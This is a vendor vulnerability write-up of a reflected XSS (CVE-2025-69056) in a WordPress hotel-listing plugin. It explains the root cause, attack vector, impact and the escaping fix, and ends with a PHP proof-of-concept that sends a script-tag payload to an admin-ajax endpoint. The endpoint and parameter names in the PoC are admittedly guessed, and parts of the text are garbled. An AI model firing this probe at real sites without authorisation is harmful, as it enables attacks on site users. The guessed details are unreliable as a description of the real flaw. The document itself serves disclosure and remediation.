Atomic Edge analysis of CVE-2025-69056 (metadata-based):
The Hotel Listing plugin for WordPress versions up to and including 1.4.0 contains a reflected cross-site scripting (XSS) vulnerability. This flaw stems from insufficient input sanitization and output escaping in one or more plugin endpoints, allowing unauthenticated attackers to inject malicious scripts.
Atomic Edge research infers the root cause is a failure to properly sanitize user-supplied input before echoing it back in the server’s HTTP response. The CWE-79 classification confirms this is a classic case of improper neutralization of input during web page generation. The vulnerability description does not specify the exact vulnerable parameter or endpoint, but the pattern suggests a GET or POST parameter is reflected without adequate escaping via functions like `esc_html` or `esc_attr`.
Exploitation requires an attacker to craft a malicious link containing a JavaScript payload within a vulnerable parameter. A victim must click this link while authenticated to WordPress. Based on WordPress plugin conventions, the likely attack vector is a public-facing AJAX handler (`admin-ajax.php` or `admin-post.php`) or a shortcode-generated page that improperly echoes a query parameter. A sample payload could be `
` injected into a parameter like `search` or `id`.
Remediation requires implementing proper output escaping on all user-controlled data echoed in HTTP responses. The plugin should use WordPress core escaping functions such as `esc_html`, `esc_attr`, or `wp_kses` appropriate to the context. Input validation should also be added, but output escaping is the primary defense for reflected XSS.
Successful exploitation leads to limited impact within the victim’s browser context. An attacker can perform actions as the victim, potentially stealing session cookies, redirecting to malicious sites, or modifying page content. The CVSS vector scores Scope:Changed (S:C), indicating the attack can affect resources beyond the vulnerable plugin, but the impact is confined to confidentiality and integrity loss (C:L/I:L) with no direct effect on availability (A:N).
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69056 - Hotel Listing <= 1.4.0 - Reflected Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2025-69056.
* This script demonstrates a reflected XSS attack against the Hotel Listing plugin.
* The exact vulnerable endpoint and parameter are inferred from common WordPress plugin patterns.
* Assumptions:
* 1. The plugin has a public AJAX action or shortcode handler.
* 2. A query parameter (e.g., 's', 'id', 'hotel_id') is reflected without escaping.
* 3. The target URL is a page where the plugin functionality is active.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Common WordPress AJAX endpoint
// Alternative target could be a page with a plugin shortcode: $target_url = 'https://example.com/hotels/';
// Malicious JavaScript payload. In a real attack, this would steal cookies or session tokens.
$payload = rawurlencode('<script>alert(document.domain)</script>');
// Construct the malicious link. The 'action' parameter is typical for WordPress AJAX.
// The second parameter is assumed; common names include 'search', 'hotel_id', or 'term'.
$exploit_url = $target_url . '?action=hotel_listing_search&s=' . $payload;
// Use cURL to send the request and fetch the response for verification.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing environments only
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check if the payload is reflected unsanitized in the response.
if ($http_code == 200 && strpos($response, '<script>alert(document.domain)</script>') !== false) {
echo "[+] Vulnerability likely present. Payload reflected.n";
echo "[+] Exploit URL: $exploit_urln";
} else {
echo "[-] No clear reflection detected. The vulnerable parameter or endpoint may differ.n";
echo "[-] Response code: $http_coden";
}
?>
